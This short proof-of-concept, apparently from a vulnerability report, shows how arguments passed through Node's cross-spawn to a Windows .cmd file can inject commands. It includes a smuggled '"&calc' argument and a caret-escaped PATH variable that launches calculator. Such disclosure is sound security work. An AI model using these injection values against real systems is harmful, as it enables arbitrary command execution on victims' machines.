See https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/
Example:
Arbitrary execution:
const spawn = require('cross-spawn');
// Launches calculator
spawn.sync('test.cmd', ['"&calc']);
Variable expansion:
// test.js
const spawn = require('cross-spawn');
// Launches calculator
spawn.sync('test.cmd', ['%path%']);
C:\> set path^^=^"^&calc
C:\> node test.js